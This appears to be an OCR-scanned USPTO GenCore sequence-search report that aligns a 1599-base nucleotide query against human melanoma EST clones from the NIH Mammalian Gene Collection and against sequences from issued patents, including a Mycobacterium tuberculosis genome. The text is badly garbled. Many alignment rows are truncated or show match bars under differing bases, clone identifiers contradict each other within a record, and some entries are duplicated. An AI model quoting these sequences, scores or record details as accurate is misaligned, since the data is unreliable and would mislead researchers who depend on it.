DB 235 CCCTAGGCGCTGAGGCGGCTGTGACAGCTCTCTGTGGGGGAGGAGAGCTCTTGAGGA 176
OY 1441 AGGCTGAGAAAGTGAGGCTATGCTTGGGGGAGAGGCGGAGATGAAAGTCTGGGTAG 1500
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 175 AGGCTGAGAAAGTGAGGCTATGCTTGGGGGAGAGGCGGAGATGAAAGTCTGGGTAG 116
OY 1501 GAGCCCAAGCTGGGCGGAGCTGCTATGTAAGGCGCTTCTGTTGTTGTTGAGACCC 1560
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 115 GAGCCCAAGCTGGGCGGAGCTGCTATGTAAGGCGCTTCTGTTGTTGTTGAGACCC 56
```

OY 1561 CACCCAGAGAACCAATCAATTAAGTAGATTCACCA 1599
||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| |||||||
DB 55 CACCCAGAGAACCAATCAATTAAGTAGATTCACCA 17

RESULT 13
LOCUS BM559257
DEFINITION BM559257 1005 bp. mRNA linear EST 20-FEB-2002
ACCESSION AGNCNCURT_6598353 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5474413
VERSION 5, mRNA sequence.
KEYWORDS BM559257.1 GI:18802694
SOURCE EST.
ORGANISM human.

REFERENCE
AUTHORS NIH-MGC
TITLE NIH-MGC http://mgc.ncl.nih.gov/.
JOURNAL National Institutes of Health, Mammalian Gene Collection (MGC)
COMMENT Unpublished (1999)
Contact: Robert Strausberg, Ph.D.
Email: cgabs-remail.nih.gov
Tissue Procurement: DCTD/DRP
CDNA Library Preparation: Rubin Laboratory
CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNLN)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LNLN at:
http://image.lnl.gov
Plate: LNCM1987 row: j column: 14
High quality sequence stop: 618.

FEATURES
source
Location/Qualifiers
1..1005
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5474413"
/clone_lib="NIH_MGC_41"
/tissue_type="melanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant), cell line"
/note="Organ: skin; Vector: pORF7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California, Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and Superscript II RT (Life Technologies). Note: this is a NIH_MGC Library."

```
BASE COUNT 157 a 333 c 348 g 167 t
ORIGIN
Query Match 38.4%; Score 614.2; DB 13; Length 1005;
Best Local Similarity 94.4%; Pred. No. 7.3e-125;
Matches 671; Conservative 0; Mismatches 33; Indels 7; Gaps 3;
OY 3 CCGCGGGCTCTTATGACAGGCTCGCGGGGAGGAGGCGGAGGCGGAGGCGGAGG 62
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 154 CGCGGGCTCTTATGACAGGCTCGCGGGGAGGAGGCGGAGGCGGAGGCGGAGG 213
OY 63 CGAGCGCGGCTTGGAGACACGATTAAGAGACTGAAGAGAGAGCGGCGGAGGAG 122
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 214 CGAGCGCGGCTTGGAGACACGATTAAGAGACTGAAGAGAGAGCGGCGGAGGAG 273
OY 123 CGCGCCACAGCGGCGGAGGAGCGGCTGGAGCGGAGCGGAGCGGAGGCTGAGTTATGATCC 182
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 274 CGCGCCACAGCGGCGGAGGAGCGGCTGGAGCGGAGCGGAGCGGAGGCTGAGTTATGATCC 333
OY 183 AGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 242
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 334 AGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 393
OY 243 GCGGGGGGGAAGGAGGAGGCTTGCAGCTTCCGAGAGTACATGACGCGGCTTTGGGC 302
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
```

Db 394 GCGGGGGGCAAGGCAAGGCTTGCAGCTCTCCGAGTCACTGACAGCCCTTTTGGC 453

QY 303 TGAGGCTGAATCTCTTACAGCTGATGCTGAGGCGGGAACACGCGGAGCT 362

Db 454 TGAGGCTGAATCTCTTACAGCTGATGCTGAGGCGGGAACACGCGGAGCT 513

QY 363 GGTGCGGTCGAGAGAGTGGGCGGCTGGAGAGCTGTGTGTGATGTGTGAGAGGAGT 422

Db 514 GTGTGCGTGGAGAGAGTGGGCGGCTGGAGAGCTGTGTGTGATGTGTGAGAGGAGT 573

QY 423 GATGACAGAGTGTGTGAGAGGCTCATGAGCGGCTGAGTGGAGAGCGGCTATCCAGAA 482

Db 574 GATGACAGAGTGTGTGAGAGGCTCATGAGCGGCTGAGTGGAGAGCGGCTATCCAGAA 633

QY 483 GCGCCCTGTAGCTCTCCAGAGGCTTGGCAAGCGGCTGGAGCTTCTTGAACATTA 542

Db 634 GCGCCCTGTAGCTCTCCAGAGGCTTGGCAAGCGGCTGGAGCTTCTTGAACATTA 693

QY 543 TGTGTGCTAGAGAGGCTCACCAATGAAGACTTCTTACCACTGACAGCTATGTGTG 602

Db 694 TGTGTGCTAGAGAGGCTCACCAATGAAGACTTCTTACCACTGACAGCTATGTGTG 753

QY 603 CCGGCGG-GTGCTGTACACCATG-ACCTGTGTCTGTGACACAGGCTTGGGAGCTGCGC 660

Db 754 CCGGCGGCTGT 813

QY 661 TCGTCTGT 706

Db 814 CCGTCTGT 864

RESULT 14 809 bp mRNA linear EST 21-FEB-2001

LOCUS BG280830 602401209p1 NIH_MGC_20 Homo sapiens cDNA clone IMAGE:4543395 5'

DEFINITION mRNA sequence.

ACCESSION BG280830

VERSION BG280830.1 GI:13029767

KEYWORDS EST.

SOURCE human.

ORGANISM Homo sapiens

REFERENCE NIH-MGC http://mgi.mgi.nhl.gov/

AUTHORS 1 (bases 1 to 809)

TITLE Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

JOURNAL National Institutes of Health, Mammalian Gene Collection (MGC)

COMMENT Unpublished (1999)

Contact: Robert Strausberg, Ph.D.

Email: c9apbs-r@mail.nih.gov

Tissue procurement: ATCC/DCID/DTF

CDNA Library Preparation: Ling Hong/Rubin Laboratory

CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)

DNA Sequencing by: Incyte Genomics, Inc.

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LNL at: image.lnl.gov

Plate: L1CM1225 row: D column: 04

High quality sequence stop: 688.

Location/Qualifiers

1. 809

/organism="Homo sapiens"

/db_xref="taxon:9606"

/clone="IMAGE:4543395"

/clone_lib="NIH_MGC_20"

/tissue_type="melanotic melanoma"

/lab_host="DH10B (phage-resistant)"

/note="Organ: skin; Vector: pOTB7; Site: 1: XhoI; Site: 2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGAG(g). Size selected >500bp for average insert size 1.8kb. Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California, Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and Superscript II RT (Life Technologies)."

BASE COUNT 165 a 240 c 250 g 153 t 1 others

ORIGIN

Query Match 38.0%; Score 608.4; DB 12; Length 809;

Best Local Similarity 95.8%; Pred. No. 1.3e-123;

Matches 710; Conservative 0; Mismatches 22; Indels 9; Gaps 8;

QY 868 GGGCGGTGATGATGACACCTGTGTGCTTGTGCTGAGAGAGAGTGTGCTTGTGCTGAGAGT 927

Db 7 GGGCGGTGATGATGACACCTGTGTGCTTGTGCTGAGAGAGAGTGTGCTTGTGCTGAGAGT 66

QY 928 GTGCGGAGAGAGAGT 987

Db 67 GTGCGGAGAGAGAGT 126

QY 988 ATGTTTGTGACACCATATGGGCGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1047

Db 127 ATGTTTGTGACACCATATGGGCGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 186

QY 1048 GCGGAGATGTCTGTGACATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1107

Db 187 GCGGAGATGTCTGTGACATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 246

QY 1108 ATGAGATATGATGCTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1167

Db 247 ATGAGATATGATGCTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 306

QY 1168 AAGGATGGAAGAGT 1227

Db 307 AAGGATGGAAGAGT 366

QY 1228 GGGCAGGTGACACCAACTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1287

Db 367 GGGCAGGTGACACCAACTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 426

QY 1288 TGGAGAGCCGAGAGATGACAGCGGAGAGAGAGAGAGAGAGAGAGAGAGAGAGAG 1347

Db 427 TGGAGAGCCGAGAGATGACAGCGGAGAGAGAGAGAGAGAGAGAGAGAGAGAGAG 486

QY 1348 CTTTGT 1407

Db 487 CTTTGT 546

QY 1408 CTCCTGT 1463

Db 547 CTCCTGT 606

QY 1464 CTTTG-GGGGAGAGAGCA-GAATGAGTCTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1521

Db 607 CTTTGCGGCGGAG 666

QY 1522 -GCTGCTATGTAAGGCTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1578

Db 667 GGGT 726

QY 1579 CAATTAAGTATGATTCCTCA 1599

Db 727 CAATTAAGTATGATTCCTCA 747

RESULT 15 1075 bp mRNA linear EST 20-FEB-2002

LOCUS BM557357 6578959 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:3466709

DEFINITION AGENCORT 6578959 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:3466709

ACCESSION BM557357

VERSION BM557357.1 GI:18799279

KEYWORDS EST.

SOURCE human.

ORGANISM Homo sapiens

REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

1 (bases 1 to 1075)

AUTHORS NIH-MGC <http://mgc.nci.nih.gov/>.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cgapbs-remail.nih.gov
Tissue Procurement: DCTD/DTP
CDNA Library Preparation: Rubin Laboratory
CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LNL at:
<http://image.lnl.gov>
Plate: LICM1967 row: 1 column: 14
High quality sequence start: 39
High quality sequence stop: 680.
Location/Qualifiers

FEATURES
SOURCE

1. 1075
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5466709"
/clone_lid="NIH-MGC.41"
/tissue_type="amelanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant)"
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCACGAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California, Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and Superscript II RT (Life Technologies). Note: this is a NIH-MGC Library."
BASE COUNT 174 a 354 c 382 g 164 t 1 others
ORIGIN

Query Match 37.9%; Score 606.8; DB 13; Length 1075;
Best Local Similarity 97.7%; Pred. No. 3.1e-123;
Matches 647; Conservative 0; Mismatches 12; Indels 3; Gaps 3;

QY 3 CCCCCGGGCTCTTACCCAGGCTCCGGGCGGGAGAGCCCAACAGCCGGCCCTG 62
DB 211 CGCCGGTCTCTACACCGCTCCGGGCGGGAGAGCCCAACAGCCGGCCCTG 270
QY 63 CGAGCGCCGCTGGGAGACCGATTAAGAGCTGAAGAGAGAGCCCGCCAGCGGAG 122
DB 271 CGAGCGCCGCTGGGAGACCGATTAAGAGCTGAAGAGAGAGCCCGCCAGCGGAG 330
QY 123 CGCCCGCAGAGCGCCAGGAGCCCTGGAGCGGAGCCGGGCTGAGTTATGATCC 182
DB 331 CGCCCGCAGAGCGCCAGGAGCCCTGGAGCGGAGCCGGGCTGAGTTATGATCC 390
QY 183 AGCGGG 242
DB 391 AGCGGG 450
QY 243 GCGGGGGGCAAGGGCAAGGGCTTGCAGCTTCCGGAGTACGTGACGAGCCCTTTGGC 302
DB 451 GCGGGGGGCAAGGGCAAGGGCTTGCAGCTTCCGGAGTACGTGACGAGCCCTTTGGC 510
QY 303 TGAGGCTGAATCTCTTACAGCTGATGCTCAGTGAAGCGGAGG - ACCAGCGCGGAGC 361
DB 511 TGAGGCTGAATCTCTTACAGCTGATGCTCAGTGAAGCGGAGG - ACCAGCGCGGAGC 570
QY 362 TGGTGGGCTGGAGAGCTGGGGCGGCTGGAGAGCGCTTGGTGTATGTCTGGAGAGCGGC 421
DB 571 TGGTGGGCTGGAGAGCTGGGGCGGCTGGAGAGCGCTTGGTGTATGTCTGGAGAGCGGC 630
QY 422 TGATGACAGAGTGTGTAACGGGCTCATGAGAGCGGCTGACTGGAGAGCGCATCCAGA 481
DB 631 TGATGACAGAGTGTGTAACGGGCTCATGAGAGCGGCTGACTGGAGAGCGCATCCAGA 690
QY 482 AGCCCTGTGTAGCTTCCAGAGAGCTGTGGCAAAGCGCTGGACAGCTTCTTGAACATT 541
DB 691 AGCCCTGTGTAGCTTCCAGAGAGCTGTGGCAAAGCGCTGGACAGCTTCTTGAACATT 750

QY 542 ATGCTGCTATGAGACAGGTCACCAATGAGACCTCTGACCAACTGACGCTATTGCTGT 601
DB 751 ATGCTGCTATGAGACAGGTCACCAATGAGACCTCTGACCAACTGACGCTATTGCTGT 810
QY 602 GCCGCCCGG-TGCTGTACCCAT-GAACCTGCTGTCTGTGACACGAGCTTCGGGGCTGCG 659
DB 811 GCCGCCCGGCTGTGTCACCGGTGGAACCTGTCTGTGACACGAGGCTGGGGTGGGCC 870
QY 660 CT 661
DB 871 CT 872

Search completed: July 12, 2003, 15:59:46
Job time : 2390 secs

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 CompuGen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 13:30:22 ; Search time 82 Seconds
(Without alignments)
5980.197 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600
Perfect score: 1599
Sequence: 1 cccccggggctctctatagc.....aataaagtacattcccaa 1599

Scoring table: IDENTITY_NUC
Gap 10.0 , Gapext 1.0

Searched: 441362 seqs, 15338381 residues

Total number of hits satisfying chosen parameters: 882724

Minimum DB seq length: 0
Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%
Maximum Match 100%
Listing first 45 summaries

Database : Issued_Patents_MA: *
1: /cgn2_6/ptodata/1/lna/5A_COMB.seq: *
2: /cgn2_6/ptodata/1/lna/5b_COMB.seq: *
3: /cgn2_6/ptodata/1/lna/6A_COMB.seq: *
4: /cgn2_6/ptodata/1/lna/6B_COMB.seq: *
5: /cgn2_6/ptodata/1/lna/PCtUS_COMB.seq: *
6: /cgn2_6/ptodata/1/lna/backfile1.seq: *

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	49.6	3.1	1203	US-09-086-010-1	Sequence 1, Appl1
2	48.6	3.0	4403765	US-09-103-840A-2	Sequence 2, Appl1
3	47.8	3.0	900	PCT-US95-04801-3	Sequence 3, Appl1
4	47.2	3.0	2793	US-08-209-747-1	Sequence 1, Appl1
5	47.2	3.0	2793	US-08-458-288-1	Sequence 1, Appl1
6	47.2	2.9	68750	US-09-335-409-1	Sequence 1, Appl1
7	47.2	2.9	68750	US-09-568-102-1	Sequence 1, Appl1
8	47.2	2.9	68750	US-09-567-969-1	Sequence 1, Appl1
9	47.2	2.9	68750	US-09-568-480-1	Sequence 1, Appl1
10	47.2	2.9	68750	US-09-568-486-1	Sequence 1, Appl1
11	47.2	2.9	68750	US-09-568-472-1	Sequence 1, Appl1
12	47.2	2.9	68750	US-09-567-899-1	Sequence 1, Appl1
13	46.6	2.9	2011	6 5256770-6	Sequence 1, Appl1
14	46.4	2.9	53526	US-08-658-136-2	Sequence 2, Appl1
15	46.4	2.9	53577	US-08-658-136-1	Sequence 1, Appl1
16	45	2.8	4411529	US-09-103-840A-1	Sequence 1, Appl1
17	44.8	2.8	1164	US-07-640-476-6	Sequence 6, Appl1
18	44.6	2.8	4257	US-08-690-473-1	Sequence 1, Appl1
19	44.6	2.8	4257	US-09-259-821A-1	Sequence 1, Appl1
20	44.6	2.8	4257	US-08-843-659-1	Sequence 1, Appl1
21	44.6	2.8	12001	US-08-458-568A-11	Sequence 11, Appl1
22	44.2	2.8	4403765	US-09-103-840A-2	Sequence 2, Appl1
23	43.8	2.7	71989	US-09-443-501A-2	Sequence 2, Appl1
24	43.4	2.7	1921	US-08-482-677-3	Sequence 3, Appl1
25	43.4	2.7	1926	US-08-152-019A-43	Sequence 43, Appl1
26	43	2.7	28804	US-08-592-874-1	Sequence 1, Appl1
27	43	2.7	28804	US-09-096-942-2	Sequence 2, Appl1

28	43	2.7	28804	3	US-09-096-867-2	Sequence 2, Appl1
29	42.8	2.7	43280	2	US-08-804-227C-1	Sequence 1, Appl1
30	42.8	2.7	44377	2	US-08-804-227C-7	Sequence 1, Appl1
31	42.8	2.7	44377	2	US-08-804-198-1	Sequence 1, Appl1
32	42.8	2.7	4411529	4	US-09-103-840A-1	Sequence 1, Appl1
33	42.6	2.7	2448	4	US-08-487-596-13	Sequence 9, Appl1
34	42.6	2.7	2450	2	US-08-466-589-9	Sequence 9, Appl1
35	42.6	2.7	2450	2	US-08-700-636-9	Sequence 9, Appl1
36	42.6	2.7	2450	3	US-08-467-574-9	Sequence 9, Appl1
37	42.6	2.7	2450	3	US-09-217-345-9	Sequence 9, Appl1
38	42.4	2.7	530	3	US-08-758-662-4	Sequence 4, Appl1
39	42.4	2.7	4524	2	US-08-845-998-7	Sequence 7, Appl1
40	42.4	2.7	4524	3	US-09-206-537-7	Sequence 7, Appl1
41	42.4	2.7	4524	4	US-09-430-854-7	Sequence 7, Appl1
42	42.2	2.6	7221	6	5215881-2	Sequence 7, Appl1
43	42.2	2.6	8438	1	US-07-945-283-1	Patent No. 5215881
44	42	2.6	1131	4	US-09-420-211-1	Sequence 1, Appl1
45	42	2.6	1843	1	US-07-918-023-1	Sequence 1, Appl1

ALIGNMENTS

RESULT 1
US-09-086-010-1
Sequence 1, Application US/09086010
Patent No. 6274338
GENERAL INFORMATION:
APPLICANT: Glmcher, Laurie H. et al.
TITLE OF INVENTION: Human c-HaF Compositions and
TITLE OF INVENTION: Methods of Use Thereof
NUMBER OF SEQUENCES: 2
CORRESPONDENCE ADDRESS:
ADDRESSEE: LAHIVE & COCKFIELD, LLP
STREET: 28 State Street
CITY: Boston
STATE: Massachusetts
COUNTRY: USA
ZIP: 02109
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: PatentIn Release #1.0, Version #1.25
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/09/086,010
FILING DATE:
CLASSIFICATION:
PRIOR APPLICATION DATA:
APPLICATION NUMBER: 09/030,579
FILING DATE: 2-FEB-1998
ATTORNEY/AGENT INFORMATION:
NAME: Kara, Catherine J.
REGISTRATION NUMBER: 41,106
REFERENCE/DOCKET NUMBER: HUI-027CP
TELECOMMUNICATION INFORMATION:
TELEPHONE: (617)227-7400
FAX: (617)742-4214
INFORMATION FOR SEQ ID NO: 1:
SEQUENCE CHARACTERISTICS:
LENGTH: 1203 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: CDNA
FEATURE:
NAME/KEY: CDS
LOCATION: 1..1203
US-09-086-010-1
Query Match 3.1%, Score 49.6; DB 4; Length 1203;
Best Local Similarity 45.6%; Pred. No. 0.016;
Matches 175; Conservative 0; Mismatches 209; Indels 0; Gaps 0;

QY 2 CCCCCGGGGCTCTCTATAGCCAGGCTCCGGGGGGGGAAGCCAGCCCAAGCCGGCCCT 61
DB 494 CCGCCCTGATGCGCCGCGCGCGCGCAAGCGGGCGCGCCGCACTACACACACAC 553
QY 62 GCGAGCGCGCGCTGGGCGAGCAGATAGAGCTGAGAGAGCCCGCCGACGGGCA 121
DB 554 ACCACACAGCGCGCGCGCGCGCAACACACACCGCGCGCGCGCGCGCGCGCA 613
QY 122 GCGCGCCCGACAGCGGAGAGCCCTTGGAGCGGAGCGCGGGGTCAGATTAGATC 181
DB 614 GCGCGCGCGCTTGGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 673
QY 182 CAGCG 241
DB 674 GGGCG 733
QY 242 CCG 301
DB 734 CGCACACAGCG 793
QY 302 CTGAGCG 361
DB 794 CCATGCTGTCG 853
QY 362 TGGTGGCGTGGAGGAGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 385
DB 854 GCGTGAAGCAGAGAGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 877

RESULT 2

US-09-103-840A-2/c
Sequence 2, Application US/09103840A
Patent No. 6294328
GENERAL INFORMATION:
APPLICANT: FLEISCHMAN, Robert D.
APPLICANT: WHITE, Owen R.
APPLICANT: FRASER, Claire M.
APPLICANT: VENER, John C.
TITLE OF INVENTION: DNA SEQUENCES FOR STRAIN ANALYSIS IN MYCOBACTERIUM
TITLE OF INVENTION: TUBERCULOSIS
FILE REFERENCE: 24366-20007.00
CURRENT APPLICATION NUMBER: US/09/103,840A
CURRENT FILING DATE: 1998-06-24
NUMBER OF SEQ ID NOS: 2
SOFTWARE: Patentin Ver. 2.1
SEQ ID NO 2
LENGTH: 4403765
TYPE: DNA
ORGANISM: Mycobacterium tuberculosis
FEATURE:
OTHER INFORMATION: CDC 1551
OTHER INFORMATION: "n" bases at various positions throughout the sequence
OTHER INFORMATION: represent a, t, c or g
US-09-103-840A-2

Query Match 3.0%; Score 48.6; DB 4; Length 4403765;
Best Local Similarity 47.2%; Pred. No. 0.18;

Matches 119; Conservative 0; Mismatches 199; Indels 1; Gaps 1;

QY 2 CCCCCGGGGCTCTCTATAGCCAGGCTCCGGGGGGGGAAGCCAGCCCAAGCCGGCCCT 61
DB 3942920 CCGCCGAGGCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 3942861
QY 62 GCGAGCGCGCGCTGGGAGCAGATAGAGCTGAAGCGCGCGCGCGCGCGCGCGCA 121
DB 3942860 CCGCGCTTACACCGTTACACCGTTACACCGCTCCCGCGCGCGCGCGCGCT 3942801
QY 122 GCGGC-CACACAGCGCGAGGAGCCCTTGGAGCGGAGCGCGGGTCTGAGTTAGAT 180
DB 3942800 GCGCGCTGTCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 3942741
QY 181 CCG 240

DB 3942740 CTGCGGTGGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 3942681
QY 241 CCG 300
DB 3942680 CCGCGCTTGGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 3942621
QY 301 GCTAGAGCTGAATCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 360
DB 3942620 CTGCG 3942561
QY 361 CTGTCGCGTGGAGAGAGC 379
DB 3942560 CCGCGCTTGGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 3942542

RESULT 3

PCT-US95-04801-3
Sequence 3, Application PC/TUS9504801
GENERAL INFORMATION:
APPLICANT: Martin, Juan F.
APPLICANT: Cogue, Juan R.
APPLICANT: Enguita, Francisco J.
APPLICANT: Fuente, Juan L.
APPLICANT: Liarena, Francisco J.
APPLICANT: Liras, Paloma
TITLE OF INVENTION: DNA ENCODING CEPHARYCIN BIOSYNTHESIS
TITLE OF INVENTION: LATE GENES
NUMBER OF SEQUENCES: 8
CORRESPONDENCE ADDRESS:
ADDRESS: John W. Wallen III
STREET: P.O. Box 2000
CITY: Rahway
STATE: New Jersey
COUNTRY: USA
ZIP: 07065
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patentin Release #1.0, Version #1.25
CURRENT APPLICATION DATA:
APPLICATION NUMBER: PCT/US95/04801
FILING DATE:
CLASSIFICATION:
ATTORNEY/AGENT INFORMATION:
NAME: Wallen III, John W.
REGISTRATION NUMBER: 35,403
REFERENCE/DOCKET NUMBER: 19179
TELECOMMUNICATION INFORMATION:
TELEPHONE: (908) 594-3905
TELEFAX: (908) 594-4720
INFORMATION FOR SEQ ID NO: 3:
SEQUENCE CHARACTERISTICS:
LENGTH: 900 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: cDNA
PCT-US95-04801-3

Query Match 3.0%; Score 47.8; DB 5; Length 900;

Best Local Similarity 51.1%; Pred. No. 0.038;
Matches 112; Conservative 0; Mismatches 107; Indels 0; Gaps 0;

QY 184 GCGGCG 243
DB 353 GCGGCG 412
QY 244 CCG 303
DB 413 GCGAGCG 472

Query Match	2.9%	Score 47	DB 3	Length 68750
Best Local Similarity	47.0%	Pred. No. 0.16		
Matches 178	Conservative	Mismatches 200	Indels 1	Gaps 1
OY	19	GCCACCGCTCCGGGCGGGGAGAGGCGAGGCCACACCGGCCCTTCG-AAGCGCGGCTGGG	77	
Db	56200	GCCGTGGCGGCGGGCGGGCCGACCGCGCTTCGCGGGGTGAGCGGGTTCGGGCTTCACGG	56259	
OY	78	CACACCGGATTAAGAGCTGAAGCAGAGACCGCCGCCACGGGACAGCGCCGCCACAGGGCC	137	
Db	56260	CACCAACGTCAATGTGTCTGTCTGAGAGAGCGCGCGCCACAGGTCCTCGCACCGGAGACCC	56319	
OY	138	AGGAGACCCCTGCAGCGGAGAGCCGGGGTTCGAGGTATTAAGATTCAGCGGGGCGGCCCGG	197	
Db	56320	GGGGCGGTACGCGAGCTTTTGGTGTGTGTCGGCGAAGAGCGCGCGCGCTGTGAGACGACA	56379	
OY	198	GGCGGTCTCCCGCGGCGCTTCGCCGTGCTGTCTGAACCCGCGCGCGGCGAAGG	257	
Db	56380	GGCGGCGCGGTCTCAAGCGACATTCGCGCGGTACCCGAGGACAGGGTCTCGGAGAGCTCGC	56439	
OY	258	CAAGGCTTCAGAGTCTTCGGGATCAGCGACGCCCTTTTGGCTGAGGCTGAATATCTC	317	
Db	56440	GTTACGCTGGTATTCAGACGCTATACCCGATGAGAGACCGGCTGCGGCTGGCGGCGACCTC	56499	

Query Match	2.98;	Score 47;	DB 4;	Length 68750;
Best Local Similarity	47.08;	Pred. No. 0.16;		
Matches 178;	Conservative	0;	Mismatches 200;	Indels 1;
				Gaps 1;
QY	19	GCCACGACCTCCGGGCGGGGAGAGCGAGCCCAAGCCCAAGCCGACCTGGG-ACGCGCCGCTGGG	77	
Db	56200	GCCTGTGCGCGGGCGGGGCGAGACCGCGCTTCCGGGGGTGAGCGCGTTCGGGCTCAGCGG	56259	
QY	78	CAGCACCCGATTAAGAGAGCTGAAGCCAGAGACCGCGCCACGAGCGGCCCAACGCGCC	137	
Db	56260	CACCAAGCTCATGTCTGCTGTGAGAGAGCGCGCGGCGACAGGTCATCCACGCGCACGCC	56319	
QY	138	AGGACACCCCTTGCGCAGCGGGAGCGCGGGTGCAGGTTATGATCCAGCGCGGGCGGCCG	197	
Db	56320	GGGGGGCTCAGACGGAGAGCTTTTGGTGTCTCGGGGAAGACCGCGCGCCGCTTGACGCACA	56379	
QY	198	GAGCGTGTCCCGCGGGCCCTCCGCGCGTGTGTGTCTGTGAACCCGCGCGGCGGCAAGG	257	
Db	56380	GCGCGCGGGGCTCTCAGGCGCACATCCGCGGTACCGGAGCAAGGCTCGGAGACGTGCG	56439	
QY	258	CAAGGCTCTTGACAGCTCTTCCGAGTCAAGCTGCACAGCCCTTTTGGCTGAGAGGCTGAATTC	317	
Db	56440	GTTCAAGCTTGGATATGACGCTAGCCGATGAGACACCGGCTGCGCGTGGCGGCGACCTTC	56499	
QY	318	CTTCAAGCTGATGTCTCACTAGACGGCGGAAACCAAGCGCGGAGACTGGTGGCTCGAGGA	377	
Db	56500	GCGCAGAGGGCGTCCCAACGCGCTGTGAGAGTTGCGGCGCAGGGGCAAGACCCCGCAGCGC	56559	
QY	378	GCTGGGCGGCTGGGAGCGT	396	
Db	56560	GCGCGCGCGCAGGCGCGCT	56578	

```

RESULT 8
US-09-567-969-1
; Sequence 1, Application US/09567965
; Patent No. 635457
; GENERAL INFORMATION:
; APPLICANT: Schupp, Thomas

```


REGISTRATION NUMBER: 31,845
REFERENCE/DOCKET NUMBER: GEN4-17.8
TELECOMMUNICATION INFORMATION:
TELEPHONE: 508-872-8400
TELEFAX: 508-872-5415
INFORMATION FOR SEQ. ID NO: 1:
SEQUENCE CHARACTERISTICS:
LENGTH: 53577 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: DNA (genomic)
US-08-658-136-1

